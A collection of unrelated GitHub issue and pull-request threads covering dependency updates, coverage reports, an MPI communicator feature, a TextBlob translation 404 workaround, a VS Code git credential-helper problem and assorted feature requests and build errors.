Release notes
Changelog
Commits

Change-Id: Iaa0ed0fa68220fd8b52eb62c0089831b253e17d0

updated-dependencies:

dependency-name: dnspython dependency-type: direct:production ...

Change-Id: I6e3ed8287f5fd60e7bd1c0a3e565db94ef8627a9

This has already been done in PR #1015


Reference typings in package.json

This PR allows typescript users to simply npm install reselect to get typings support. For more information on how this works, check out this link: https://github.com/Microsoft/TypeScript/wiki/Typings-for-npm-packages
As a note, I gave @frankwallis the commit authorship, because he wrote the original commits for the typings. He was not involved in this PR, however. Sorry for any confusion!

Current coverage is 100.00%

Merging #94 into master will not affect coverage as of 3969195

@@            master     #94   diff @@
======================================
  Files            1       1
  Stmts           42      42
  Branches         0       0
  Methods          0       0
======================================
  Hit             42      42
  Partial          0       0
  Missed           0       0

Review entire Coverage Diff as of 3969195

Powered by Codecov. Updated on successful CI builds.

Thank you!


[docs] add an diagram illustrating tensorrt-llm and tensorrt

The image can be found at: https://docs.google.com/presentation/d/1BHGVqv1v1VI0LvLUh1v-vL0eCJCqiYLRfg27ByVmwao/edit#slide=id.g29cce3990fb_0_128

Hi i'm a newcomer to the source code and found the code quite challenging to understand. I tried to draw a diagram describing the relationship between tensorrt-llm and tensorrt. Note that the image might lack crucial info or even express wrong info. If you think this is a good starting point, would you mind pointing out what can be improved? Or better, you could draw a new one to benefit the whole community :)


Help does not authorize

Getting 401 on remote (otherwise working OK) when doing ?plot
bug: Microsoft.AspNetCore.Server.Kestrel[1]
      Connection id "0HKUOVFM4FIT7" started.
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 GET http://<IP_ADDRESS>:29292/remoteuri
info: Odachi.AspNetCore.Authentication.Basic.BasicMiddleware[7]
      Basic was not authenticated. Failure message: No authorization header.
info: Odachi.AspNetCore.Authentication.Basic.BasicMiddleware[12]
      AuthenticationScheme: Basic was challenged.
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[2]
      Request finished in 13.6652ms 401
dbug: Microsoft.AspNetCore.Server.Kestrel[9]
      Connection id "0HKUOVFM4FIT7" completed keep alive response.

Red herring, mismatch between local and remote versions


Feature/30 brush size

Closes #30

On further thought, it might make sense to make the eraser adjustable as well even though it's not part of the user story.
Then we would have to inform the customer about this.

We noticed that

On further thought, it might make sense to make the eraser adjustable as well even though it's not part of the user story.
Then we would have to inform the customer about this.

We actually noticed, that the eraser size is indeed part of the User Story, but the necessary changes are only very few (I am actually going to implement them right now 🤓)

Even though removing penNibOffset fixed the circle brush offset issue, it did the exact opposite to the triangle brush apparently.

Regardless of the name of the class, it should have a description.


Link to create new export after one is completed?

After an export has finished, there's no explicit suggestion for the user on what to do other than cloning or rerunning the export, or downloading the data. Might be good to have a "link out" for the user to create new exports?

I think that might overcomplicate things a bit. In terms of presenting too many options to the user. It is easy enough for the user to click the 'Create' page link for them to be redirected to create another export.

Yep, this is consistent with the export tool v2 as well


Documentation Book

Description
I wrote initial version of a book with documentation
It can be viewed here
The book is written using mdbook - everything is written using intuitive markdown and then compiled to html.
mdbook has great integration with rust -  all code examples are tested to see if they compile and the more complete ones are fully run and connect to a local scylla instance at <IP_ADDRESS>:9042.
I added a workflow to run these tests in CI
I chose a dark theme by default but sadly all other documentation online has a light theme by default. Maybe we can be pioneers?
Book instructions
First install mdbook:
cargo install mdbook

Build the book:
mdbook build book
# HTML will be in book/book

Or serve it on a local http server
mdbook serve

Test code examples (requires a running scylla instance):
# Make a clean debug build, otherwise mdbook has problem with multiple versions
cargo clean
cargo build --examples

mdbook test -L target/debug/deps/ book

Pre-review checklist

[x] I have split my patch into logically separate commits.
[x] All commit messages clearly explain what they change and why.
[x] I added relevant tests for new features and bug fixes.
[x] All commits compile, pass static checks and pass test.
[x] PR description sums up the changes and reasons why they should be introduced.
[x] I added appropriate Fixes: annotations to PR description.

@piodul @psarna I think it's ready for review and merge.
If authentication gets merged before this I will add it, but there is no need to wait, might as well do it in a different PR.

Looks good, I'll merge, any issues found later can be fixed with follow-ups


Using custom communicator instead of MPI_COMM_WORLD

These modifications aim at replacing MPI_COMM_WORLD with an MPI_COMM_ROSS communicator (which, by default is set to MPI_COMM_WORLD in core/network-mpi.c ). Doing so allows MPI applications to use ROSS with a subset of its processes. The proposed modifications also provide a tw_comm_set function that allows users to specify a communicator to use instead of MPI_COMM_WORLD. ROSS will also check if MPI has already been initialized before calling MPI_Init. If the communicator has been replaced by a user-provided one (even if the user provided MPI_COMM_WORLD), MPI_Finalize will not be called in tw_end, and the user is expected to call it himself.
The reason for this modification is to be able to call CODES (hence ROSS) as a library inside a Swift/T workflow, that is, inside a large MPI application from which multiple instances of CODES should be able to run.
I have tested the changes in ROSS with CODES (model-net-mpi-replay with sync=1 and sync=2, on a test case using DUMPI traces on a dragonfly network), both in a context where tw_comm_set is called with a custom communicator, with MPI_COMM_WORLD, or not called at all.

If this merge represents a feature addition to ROSS, the following items must be completed before the branch will be merged:

[ ] Document the feature on the blog (See the Contributing guide in the gh-pages branch).
Include a link to your blog post in the Pull Request.
[ ] One or more TravisCI tests should be created (and they should pass)
[ ] Through the TravisCI tests, coverage should increase
[ ] Test with CODES to ensure everything continues to work

Codecov Report

Merging #110 into master will decrease coverage by -0.04%.
The diff coverage is 57.89%.

@@            Coverage Diff             @@
##           master     #110      +/-   ##
==========================================
- Coverage    73.3%   73.26%   -0.04%
==========================================
  Files          29       29
  Lines        3648     3654       +6
==========================================
+ Hits         2674     2677       +3
- Misses        974      977       +3

Impacted Files
Coverage Δ

core/gvt/mpi_allreduce.c
94.68% <ø> (ø)
:white_check_mark:

core/instrumentation/st-data-collection.c
99.44% <100%> (ø)
:white_check_mark:

core/instrumentation/st-stats-buffer.c
100% <100%> (ø)
:white_check_mark:

core/network-mpi.c
78.03% <50%> (-0.66%)
:x:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update de26e58...aa07576. Read the comment docs.

Thanks for the PR! I've never seen the MPI_Initialized call before... cool!
I would really like to exercise this addition and the possible tw_comm_set calls through our automated tests. I'm not sure the exact form that might take (perhaps we need to automate travis testing for CODES on ROSS). That said, I think this change can be merged even before those tests are in place.

Since all the current tests pass, it means that not using tw_comm_set makes ROSS work properly. If you want to test tw_comm_set, you could take one test that is run in parallel and make another test that does the same thing, but starts by splitting MPI_COMM_WORLD in half, and on the first half of the processes you call tw_comm_set and then run ROSS, while the other half just call MPI_Finalize. This way if anyone uses MPI_COMM_WORLD directly in later developments of ROSS instead of MPI_COMM_ROSS, this particular test will fail.

I'm pretty sure that that last commit, 6709a1c46e03df459c03c7ae8ceadbe2a5b66448, will clash with your other PR #111.
I think this feature needs a short write up on how to use it properly. Notably, tw_comm_set must be called before tw_init. It should include a note that developers should now be using MPI_COMM_ROSS.

Ah indeed. I initially made the change to my custom_comm branch and committed it, then thought I should have actually done a new branch for that, so I re-checked out master, did another branch, modified it, and created a new pull request. I didn't know my first commit would be added to the existing pull request. I'm not sure how to deal with that, I'm not a Git expert... can you accept only the first commit of this PR (aa07576)?

Okay, I removed the bad commit. I've also added some testing for this feature (and slightly reworked how ROSS creates tests).
Do you want to write a small blog post explaining how to use this feature and why it was needed? You can email me some text as well and I can format and post it to the blog. Or I'll just write something up after merging this PR.

You can use the following text:
By default, ROSS will use MPI_COMM_WORLD for all its communications. tw_comm_set allows the user to change the communicator used by ROSS, for instance to run ROSS on a subset of the ranks of a larger MPI application. tw_comm_set should be called before calling tw_init. If tw_comm_set is used, then the user is responsible for calling MPI_Finalize after calling tw_end.
Note to ROSS developers: the addition of this functionality changes the internal communicator used by ROSS. From now on, MPI_COMM_ROSS should be used instead of MPI_COMM_WORLD.

@gonsie Is it okay for this to be merged now (I can take care of it and the blog post if you want)?  I'm doing some stuff with ROSS that requires use of a sub communicator instead of MPI_COMM_WORLD so this would be useful.

go for it!

Thanks @caitlinross Here is a link to the blog post: http://carothersc.github.io/ROSS/ross-dev/communicators.html


Deindex publications if the type has changed

In some of these cases the base_path will have changed and if we don't first remove the previous edition, two entries will appear in the search index. This is because the search index uses the base_path as the unique index for each edition.
This branch is currently deployed to integration for testing.
Trello Card

LGTM 👍 My only thought is could/should this apply to non-publications?

Yeah, I had that thought too. I also thought about whether we could make it generic enough that it just compares the base_path. Unfortunately doing this makes the code a bit ugly because it couples the code to the presenters for the search index, which ends up making it a bit circular (we generate the indexable content to decide whether to generate the indexable content and send it to the Search API). I did a brief check and as far as I can tell only publications have the possibility of changing the base_path.
I also think that really this should be something that is fixed in the Search API. It seems a bit problematic to rely on the base_path to uniquely represent a document rather than using the content_id. I imagine we're going to hit a problem as we continue to migrate things so that they're picked off the Publishing API queue because at that point the Search API isn't going to have any knowledge of the previous edition... so this PR doesn't really fix the underlying problem, but fixing the Search API would be a very substantial change.

Thanks for the explanation 😄


Broke Post out and added granular arguments.

Added Creator with a reason as i think it will be used in the post component lateron

Added Creator with a reason as i think it will be used in the post component lateron

@Pdzly the linter doesn't allow unused variables. I'd recommend we keep it out for now. Another option is that you could update it to show the creator in the Post component if you'd like to add it right away.


[paved path] adopt torchsnapshot

Stack from ghstack (oldest at bottom):

-> #35

@hudeven has imported this pull request.  If you are a Facebook employee, you can view this diff on Phabricator.


Minimal Design And User friendly experience

It will be helpful for new beginner who took interest in computer field and it will give experience.
Wallpapers should be 3d animated and silent and calm to get mantal stability and looks great on pc/laptop.

Just a feedback

duly noted

About 3d animated wallpapers, It is already buffering for various reasons for low wnd pc, introducing memory intensive video files will make it more difficult. The only alternative so far is gif files but they are low quality and produce jarring frame rates.
I will love to hear another solution.

Oh sorry. I didn't consider the low end pc/laptop but, As you said its right.
Thanks for replying.


Update @uirouter/core dependency to 6.0.9

This is a:

[ ] Bug Report
[x] Feature Request
[ ] General Query

My version of UI-Router is:
    "@uirouter/angular": "^11.0.0",
    "@uirouter/angular-hybrid": "^14.0.0",
    "@uirouter/angularjs": "^1.0.30",
    "@uirouter/core": "^6.0.9",

Feature Request
Please update @uirouter/angularjs dependency on @uirouter/core to 6.0.9, so that it can be used in an Angular/Angularjs hybrid app with Angular at v15.
Currently @uirouter/angularjs depends on @uirouter/core version 6.0.8. This does cause a type mismatch with the StateDeclaration interface.

Updated to latest core version also moved to peerDeps so it's easy to change version of core without conflicts.

I can confirm the issue is now gone using the following versions:
    "@uirouter/angular": "^11.1.0",
    "@uirouter/angular-hybrid": "^15.0.2",
    "@uirouter/angularjs": "^1.1.0",
    "@uirouter/core": "^6.1.0",
    "@uirouter/rx": "^1.0.0",

Cheers :champagne:

awesome :D


An API question

the api would list all repos that the authenticated user owns or has access to?

no pagination?
how to list personal repos (username/repo_name)

/repos/search allow to filter for repos for a particular user.

/repos/search allow to filter for repos for a particular user.

is there pagination for listing repos?

Hi @hsowan
The api would list all repos that the authenticated user owns or is member.
This api call should correspond to the repo list you see on the right of the home page (like https://try.gitea.io/) under the default All tab

If you want more details on the func behind the API call it all start here: https://github.com/go-gitea/gitea/blob/e0d6d2f97816f972d408308c740bacc450584e00/routers/api/v1/user/repo.go#L60
This specific api call doesn't support pagination but the underlining function support it and could be implemented https://github.com/go-gitea/gitea/blob/e0d6d2f97816f972d408308c740bacc450584e00/models/repo.go#L1993
You can play with the api on the try.gitea.io instance : https://try.gitea.io/api/swagger#/user/userCurrentListRepos
You can generate AccessToken on https://try.gitea.io/user/settings/applications to log on the API easely.
I hope it answer your question.

And for the /repos/search api call it does support paging via limit and  page pararms https://try.gitea.io/api/swagger#/repository/repoSearch

And for the /repos/search api call it does support paging via limit and page pararms https://try.gitea.io/api/swagger#/repository/repoSearch

Thank you very much

/repos/search allow to filter for repos for a particular user.

thanks


fix(edge): fix edge views

fix #4180

@ncresswell can you check that this PR solves the issue with the Edge views?


Update load-balancing-vms.md

Updating a few areas thanks to comments in the original document.

This looks like an old topic that has been replaced by virtual-machines-load-balance. Holding off right now on this.

Closing. I think your fork is out of date. This article is not present in the core repo.


Allow Repeating Messages

Checklist

[X] I have filled out the template to the best of my ability.
[X] This only contains 1 feature request (if you have multiple feature requests, open one feature request for each feature request).
[X] This issue is not a duplicate feature request of previous feature requests.

Is your feature request related to a problem? Please describe.
I'd like to be able to repeat the message n times (1..n), especially for important messages to make sure they get heard
Describe the solution you'd like
Two new variable

Message Repeat Counter (minimum 1, maximum 50?)
Message Delay ms, amount of delay between messages, default 500 or 1000 ms
Possible Optional third to allow chime to play between messages if desired

When generating mp3, if counter > 1, add message delay and message n-1 times after the first message.  If option to put chime between messages was implemented, could do if counter > 1, add existing chime delay then chime and existing chime delay and message n-1 times after the first message
Describe alternatives you've considered
Currently script n times in loop, have issues with clipping\skipping and delay issues
Additional context
n\a

Hi @tjw1184. I'm sorry you're having issues.
Can you please send me a YAML example of repeated messages which aren't working as you expect?
I plan to implement a new feature which will also support what you've described - hopefully in a week or two.

Hi @tjw1184, I just released a new version of Chime TTS, v0.11.0, which allows for "message segments" to be used. The functionality adde with this new feature should fulfill your feature request. Please review the documentation and try it for yourself, and let me know if there's anything else you would like to see implemented.
Thank you.

I am closing this issue. If you are still having issues please reopen.
Thank you.


Reintroduce --logtostderr option until such a point as we switch to the do-nothing glog.

Without this option, glog tries to open a tmp log file somewhere which doesn't always work.

/lgtm

addresses #3751

@geeknoid: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
5faf4b720db264a3396832f68a52a31be31f4224
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test e2e-simple

looks like it took > 1 minute for ingress to get ready thus the failure earlier
I0224 04:09:13.846419       1 status.go:358] updating Ingress simple-auth-test-7871c7ac70ac4a1e9f3f/istio-ingress status to [{<IP_ADDRESS> }]

merged as the test that did break passed and I looked at the other failure and master is broken so it's rather urgent to get the fix in


React script editor

@wobba hi,
I cannot add the script editor package to appcatalo in sharepoint online modern page. I am getting below error.
There were errors when validating the App manifest.: Xml Validation Exception: 'The 'Name' attribute is invalid - The value 'Modern Script Editor web part by @mikaelsvenson' is invalid according to its datatype 'http://schemas.microsoft.com/sharepoint/2012/app/manifest:NameDefinition' - The Pattern constraint failed.' on line '1', position '110'.
Please help me to resolve this issue. Also it would be really grateful if you can provide steps to solve this.

I just resolved this issue. There is an '@' character in the Solution name. Remove the '@' from package-solution.json file and you should be good to go.

Thanks, now I am able to add the package but after adding the package to the site. It doest not show

As said by @elpinto007  the issue get resolve and its work nicely.
Thank you

Yes. I just need to enable custom script to display in Webpart browser.

Fixed the package name - thank you for bringing this up @elpinto007 👍


Skip unnecessary backward computation in matmul

This PR is to reduce unnecessary computation in MatMul.
When you specify one of inputs to matmul as required_grad=False like below, there is no need to compute the gradient of that input, but it is computed with current master. This PR reduces that unnecessary computation.
a = Variable(a)
b = Variable(b, required_grad=False)
c = F.matmul(a, b)

I also noticed that MatMulGrad is not necessary if you add small fix to MatMul. Thus there is no MatMulGrad in this branch.
BTW, I found this issue when I was looking at Chainer chemistry.

jenkins, test this please.

LGTM!


Show Query Log In Terminal

I went through the entire docs and didn't see how to log queries in the terminal to see what they look like. I was curious if the GQL queries are using dataloader under the hood and if there were any n+1 going on. As far as I can see, there is no setting for query logging or debugging from what I can tell.

There is. Just set the log level to trace and you'll see all the queries logged.
Just to answer your question: there is no n+1 query happening and if you find one we'll treat it like a bug.

Awesome, thank you very much!


H2 recv headers compression errors

On the last few days our Singapore DC has been experiencing an increased error rate for "HTTP/2 connection error recv headers compression":
vgutierrez@cp5011:~$ journalctl -u trafficserver-tls --since="1h ago" |grep "recv headers compression error" |wc -l
24100
vgutierrez@cp5012:~$ journalctl -u trafficserver-tls --since="1h ago" |grep "recv headers compression error" |wc -l
28128

this hasn't  spread (yet?) to other DCs but it seems pretty worrisome, have you seen anything similar?

FWIW, on 9, we've seen this around 1500 times over 7 days, across our fleet.

We're on 9.1.x. On a single box I'm looking at, I only see about 100 for about an entire day. Some days less. The box does about 5,000 requests per second. I confirmed with ops that none of our boxes are seeing that volume of these.

@jvgutierrez Are you still seeing this issue?


Write to :messages

Kind of related to #11.
By default vim.notify writes to :messages as well, so users can use :messages or something like tpope/vim-scriptease to read notifications again. However, vim.notify uses nvim_echo to display messages and write to :messages, so if nvim_echo is used to write to :messages messages will be duplicated.
Is there a way to write to :messages directly?

I'd like to note that I'm aware of NotifierReplay. But if this feature is excessive then we get back to #11.

I think it is excessive: the API design of vim.notify is geared towards a default implementation calling out to messages and others doing somehow else.
What we'd need is actual replay support.

I see, I'm closing this as unplanned then.


Assets warmup

I think it would be a great feature to have an ability to create assets files in console(smth like cache:warmup in Symfony2). For example, we deploy a large project with a lot of assets files. We clean up web/assets and then our application will have no any assets for a couple seconds(or minutes!), until it is copied. Maybe you have any suggestions or ideas to implement this feature?

For the large project, you should use asset command and combine your asset files. All necessary files will be published in the process.


Cannot get fields of quote

Cannot get out fields of quote as all fields are private

Need to define access functions to pull specific fields.


2d algorithm footprints overplotting

The current version of the algorithm footprint avoids overplotting by grouping datapoints that are close  and determines the respective color for that points through the fractions of good and bad points grouped together.
This works for all current examples, but might fail if the range between the PCA-reduced features is so small, that points are grouped that do not overlap.
Therefore, make the grouping dependent on the range of the PCA-reduces features.

Suggested solution would be to also add hover-tooltips to algorithm footprints as in #72.

#154


Include pre-compiled .tap files

Any chance of including pre-compiled .tap files?

Any chance of including pre-compiled .tap files?

https://github.com/raxoft/z80test/releases/tag/v1.2a

My apologies. Thanks.


Allow .eps-files for the black-white logo

TODO: Since web browsers can't show eps files, they look like broken images.

Unclear of what issue this tried to solve, ill close for now and repon if the issue arises

It was requested that EPS files should be uploadable. But since they can't be viewed in most (?) web browsers, this wasn't a great fix and there wasn't enough complaints to bother i guess ^^

Was this requsted by companies to upload logos?

I would guess so, but not sure


Create more streamlined build.mjs script

The current build.mjs file for each plugin contains duplicate logic and an internal PostCSS esbuild plugin.
This can be refactored to share logic and rely on external abstractions (e.g. use a community PostCSS esbuild plugin).
Alternative: look for an existing higher-level esbuild-based build tool

tsup

Using siroc like other @prismicio packages may be beneficial.


Add docker support

Allows  to standardize the environment to run the
project without installing local dependencies,
such as Jekyll.
Use the README to follow the instructions.

I could not follow the instructions :( My jekyll server returns a directory index:

@alganet, rsrsrsrs, my last change broke this, I will fix it

@alganet "agora vai" please, try again guy ;)


Ancre sur le jeu de données consolidé

Fixes #105
There is a JS script to add anchors. Out of curiosity, do you know how ids are added to titles? Is it by Jekyll for Markdown files?

No idea how it works 🤷♂


DOC: Add somewhere to document releases

Hi,
It would be great to have somewhere a way to see when new releases are done and what are in it.
For example, a CHANGES.md file would be great!
Thanks a lot 😄

I agree, was hoping to make a release and add a changelog, but didn't manage on Friday.
I'll try and get it out today (PyPI that is, conda-forge always needs a bit more time).

Finally got a pypi-release: https://pypi.org/project/pandamesh/0.1.4/
Changelog can be found via the API reference:
https://deltares.github.io/pandamesh/api/changelog.html

Very nice of you tu update and take suggetions as quickly as that 😄


++ Deprecated in Swift 3

When i try to validate my .podspec with SwiftyJSON 2.3.2 as a dependency I get a warning
saying SwiftyJSON has a line with '++' in it. And that '++' will be deprecated in Swift 3!
Now i have to do --allow-warnings to get SwiftyJSON through validation which is not optimal. Please consider changing this '++' line to += 1!
Kind regards,
Erik

Dupe #455

I believe this has been fixed on master, but there hasn't been a new release since it was fixed. Any plans on releasing a new version?

SwiftyJSON is now swift3 compatible. Closing this


error intranslation

url not found error sometime:
File "/usr/local/lib/python3.8/dist-packages/textblob/blob.py", line 546, in translate
return self.class(self.translator.translate(self.raw,
File "/usr/local/lib/python3.8/dist-packages/textblob/translate.py", line 54, in translate
response = self.request(url, host=host, type=type_, data=data)
File "/usr/local/lib/python3.8/dist-packages/textblob/translate.py", line 92, in _request
resp = request.urlopen(req)
File "/usr/lib/python3.8/urllib/request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python3.8/urllib/request.py", line 531, in open
response = meth(req, response)
File "/usr/lib/python3.8/urllib/request.py", line 640, in http_response
response = self.parent.error(
File "/usr/lib/python3.8/urllib/request.py", line 569, in error
return self._call_chain(*args)
File "/usr/lib/python3.8/urllib/request.py", line 502, in _call_chain
result = func(*args)
File "/usr/lib/python3.8/urllib/request.py", line 649, in http_error_default
raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 404: Not Found

I am having the same issue. it worked a week ago, now I'm receiving a 404 error whenever I call detect_language()

i thought it might be the issue regarding urllib.requests, so I changed the method of request through "requests", but the error was the same.
The API you are calling is giving accurate JSON response sometimes and sometimes URL return 404 page saying sorry.
I looked through the reverse engineering process in _calculate_tk function and tried to change it, but I am not having any success.
I think, the only problem is with the google translate URL, where they might have added some Recaptcha or security parameter.

I won't have time to look into this myself, but if someone sends a PR to fix this, I would merge it.

I am having the same issue.

Did you solve it?

Did you solve it?

Even though I I am using 0.15.3 (which is one version lower than the latest, which has been reported not to have the "translate" option in more), the translate option keeps returning a very similar error than the one above linked ("HTTP Error 404: Not Found").
@sloria's recent reply and this current issue, however, gives me hope that other versions of TextBlob might still translate?

I won't have time to look into this myself, but if someone sends a PR to fix this, I would merge it.

I found that some parameters of the interface changed, and the format returned after the modification was different. In translate.py, the url was changed to
https://translate.googleapis.com/translate_a/t?anno=3&client=te&format=html&v=1.0&key&tc=1&sr=1&mode=1, you can try

I won't have time to look into this myself, but if someone sends a PR to fix this, I would merge it.

I found that some parameters of the interface changed, and the format returned after the modification was different. In translate.py, the url was changed to
https://translate.googleapis.com/translate_a/t?anno=3&client=te&format=html&v=1.0&key&tc=1&sr=1&mode=1, you can try
Modify and add client=te&format=html

Hey, I checked your suggestion for the new URL. after changing the URL the translate function no longer returns a 404. Don't know what other impacts it has. Do you suppose you will initiate a Pull Request with your fix?

@zc520yzy Thank you. That fixed that.

I suggest using the above URL directly, but this will affect the current business. Because the returned data has changed, the above URL is feasible. I have tested it
---Original---
From: @.>
Date: 2021/9/20 07:08:00
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [sloria/TextBlob] error intranslation (#395)
@zc520yzy Thank you. That fixed that.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.

url not found error sometime:
File "/usr/local/lib/python3.8/dist-packages/textblob/blob.py", line 546, in translate
return self.class(self.translator.translate(self.raw,
File "/usr/local/lib/python3.8/dist-packages/textblob/translate.py", line 54, in translate
response = self.request(url, host=host, type=type_, data=data)
File "/usr/local/lib/python3.8/dist-packages/textblob/translate.py", line 92, in _request
resp = request.urlopen(req)
File "/usr/lib/python3.8/urllib/request.py", line 222, in urlopen
return opener.open(url, data, timeout)
File "/usr/lib/python3.8/urllib/request.py", line 531, in open
response = meth(req, response)
File "/usr/lib/python3.8/urllib/request.py", line 640, in http_response
response = self.parent.error(
File "/usr/lib/python3.8/urllib/request.py", line 569, in error
return self._call_chain(*args)
File "/usr/lib/python3.8/urllib/request.py", line 502, in _call_chain
result = func(*args)
File "/usr/lib/python3.8/urllib/request.py", line 649, in http_error_default
raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 404: Not Found

Use Googletrans to translate the text
import googletrans
from googletrans import Translator
translater = Translator()
value = translater.translate(value)
print(value.src)
To detect the language we can use this...
#395

@sloria : would be great if you could merge & update PR :)

Linux batch:
sed -i '33s/url = .*/url = "http:\/\/translate\.google\.com\/translate_a\/t?client=te\&format=html\&dt=bd\&dt=ex\&dt=ld\&dt=md\&dt=qca\&dt=rw\&dt=rm\&dt=ss\&dt=t\&dt=at\&ie=UTF-8\&oe=UTF-8\&otf=2\&ssel=0\&tsel=0\&kc=1"/' /path-to-your-local-python/site-packages/textblob/translate.py
Docker image (add this to your docker file):
RUN sed -i '33s/url = .*/url = "http:\/\/translate\.google\.com\/translate_a\/t?client=te\&format=html\&dt=bd\&dt=ex\&dt=ld\&dt=md\&dt=qca\&dt=rw\&dt=rm\&dt=ss\&dt=t\&dt=at\&ie=UTF-8\&oe=UTF-8\&otf=2\&ssel=0\&tsel=0\&kc=1"/' /usr/local/lib/python3.10/site-packages/textblob/translate.py

@sloria any updates on merging the fix?


Parse eve.json

On cool tool already exists: https://github.com/DCSO/fever integrate that !

a nice writeup to setup elk for suricata is here: https://www.howtoforge.com/tutorial/suricata-with-elk-and-web-front-ends-on-ubuntu-bionic-beaver-1804-lts/

I think we should go with https://github.com/jasonish/evebox single binary, no external dependencies comes with simple web ui

Also zeek.org seems at least interesting for network packet logging


write test that ensures that the heatmap is responsive to data changes (gene addition, filter changes), while cell types are filtered

Bugs:
https://github.com/chanzuckerberg/single-cell-data-portal/issues/5719
https://github.com/chanzuckerberg/single-cell-data-portal/issues/5720
Fix:
https://github.com/chanzuckerberg/single-cell-data-portal/pull/5727

@kaloster @tihuan I'm updating this ticket, but want to double-check. We're current addressing this ticket as part of #5834 and #5739, correct?

Thanks for bringing this up! I don't think the tissue expansion ticket will write tests for the 2 bugs listed in this ticket, since the scope of the tissue expansion is just to test tissue expansion, and the 2 bugs here seem to involve cell type filter with other WMG features like marker genes panel stuff, which is outside of tissue expansion scope!


git pull fails in remote container

VSCode Version: 1.42.1
Local OS Version: Ubuntu 19.10

Steps to Reproduce:
I am not sure. Working on it. Posting here for exposure.
➜  api-server git:(master) git pull
internal/modules/cjs/loader.js:626
    throw err;
    ^

Error: Cannot find module '/tmp/vscode-remote-containers-298bed45ba497798741c3bdfaaa587a0a48d7175.js'
    at Function.Module._resolveFilename (internal/modules/cjs/loader.js:623:15)
    at Function.Module._load (internal/modules/cjs/loader.js:527:27)
    at Function.Module.runMain (internal/modules/cjs/loader.js:837:10)
    at internal/main/run_main_module.js:17:11 {
  code: 'MODULE_NOT_FOUND',
  requireStack: []
}
Password for<EMAIL_ADDRESS>
➜  api-server git:(master)

OK. There is something injected into my ~/.gitconfig
[credential]
        helper = "!f() { /home/ubuntu/.vscode-server/bin/c47d83b293181d9be64f27ff093689e8e7aed054/node /tmp/vscode-remote-containers-893a35417abc6190bf6456be78f8cff8d6a58054.js $*; }; f"```

The problem with this approach is that /tmp is in the container whereas the /home directory is a persistent volume. Is there any way to turn of the config injection into gitconfig?


Touch ID support for iPhone app

Original issue 445 created by brainless.barry on 2014-09-25T18:02:34.000Z:
Feature Request:
As a paranoid end user I would like Google Authenticator to use fingerprint authentication before showing codes.  I would obviously like it to be cryptographically secure so the database decryption key should be held in Keychain and use the new KeychainTouchID APIs available in iOS 8:
https://developer.apple.com/library/ios/samplecode/KeychainTouchID/Introduction/Intro

+1

+1

+1 How is it going? This would make it way more secure.

I filed internal issue b/38334284, but I'll also paste my standard disclaimer:
--
FYI: The version in Google Play Store / Apple App store is not the same as this opensource version. They've diverged. This opensource version is also unlikely to end up in the app stores. This open source version doesn't get much love, but I'll accept well-written pull requests. But don't expect this feature to be implemented by Google.

+1

Everyone's aware of this issue. All your empty "+1" comments do is make people unsubscribe from updates to the bug.

+1


SHScorllView to SHScrollView

SHScorllView to SHScrollView

?

@harushuu 不明真相的吃瓜群众

misspelled word.
SHScorllView to SHScrollView
😄

@youngshook hhh, you got it.


Made spdlog a submodule that will be synched automatically by cmake

This is in response to #83. To facilitate future upgrades to spdlog, spdlog is now a git submodule.
I've changed the main CMakeLists.txt (for marian-train) so that it initialises and updates the submodule when cmake is run.
Please test before merging and report back.

I am currently travelling, so give me a few days to take a look at that.

@tomekd Does Marian now compile on GCC7 (Arch Linux)?

@ugermann : yes, it does. Marian is safe until Ubuntu 20.04 now.
I had problems with getting spdlog by cmake. I had to run the command manually.
Tested on: gcc (GCC) 7.1.1 20170621, Boost 1.64.0-3

Please, do not use tabs for indentation. See contrib/README.

@snukky: Where am I using tabs?

Fix confirmed. Auto fetch is working now.

@ugermann In these commits, only in .gitmodules file. Previously here https://github.com/marian-nmt/marian-train/commit/a0857588e0650007752995f76cd5323c76e3fb9d, fixed here https://github.com/marian-nmt/marian-train/commit/0cf192fbfbcf93018db8bb0e9c44a08907be7ca5. Maybe just missed out IDE configuration?

How does this relate to the marian-train repo from which I update the marian version?

@snukky. As for the tabs in actual Marian code, this was obviously unintentional. The file .gitmodules was written by the git command line tool (via git submodule init), which apparently has tabs hardcoded. In order to fix this we'd have to set up git filters to fix things pre-commit, which I frankly think is overkill.

Marian is  currently tracking branch amunmt-stable. To switch to the master
branch:
In the marian checkout:
git submodule deinit -f src/marian

edit .gitmodules and change the branch for marian to master
mkdir build
cd build
cmake ..

This will fail (due to marian-train commit commit 0af7727), but now you've
got marian-train checked out in src/marian.
Copy ../src/marian/VERSION to ../ (i.e., the root of the marian (formerly
amunmt) repo.
cmake ..

Should work now. Builds successfully on gna.

I am working on updating amunmt-stable. I would rather keep a special branch for that.

That's up to you. I only gave instruction on how to switch branches if you wanted to. The spdlog update was for @tomekd who couldn't compile on his setup (see #83).


Notification covered by Navbar

What happened?
If you cancel of submit an offer, the notification is unreadable.
Please reproduce in steps
as What happened described.
Expected Behavior
It should

either we move down notifcation
lower the z-index of Navbar

What browsers are you seeing the problem on?
No response
At which address did you encounter bug?
No response
Are you logged in?
No response
Which wallet you are using?
No response
At which chain did you encounter bug?
No response
Screenshots

Relevant log output
No response
Payment link for reward
https://kodadot.xyz/transfer/?target=<My_Kusama_Address_check_https://github.com/kodadot/nft-gallery/blob/main/CONTRIBUTING.md#creating-your-ksm-address>
Code of Conduct

[X] I agree to follow this project's Code of Conduct

👋

hey, any progress on this? 👀

i can take a look 👋


error inn make -j(nproc)

Hello.
I tried to  install this repo, but I got error as shown below.
Is there any solution to take over this problem?
/usr/bin/ld: skipping incompatible /usr/aarch64-linux-gnu/lib/libdl.so when searching for -ldl
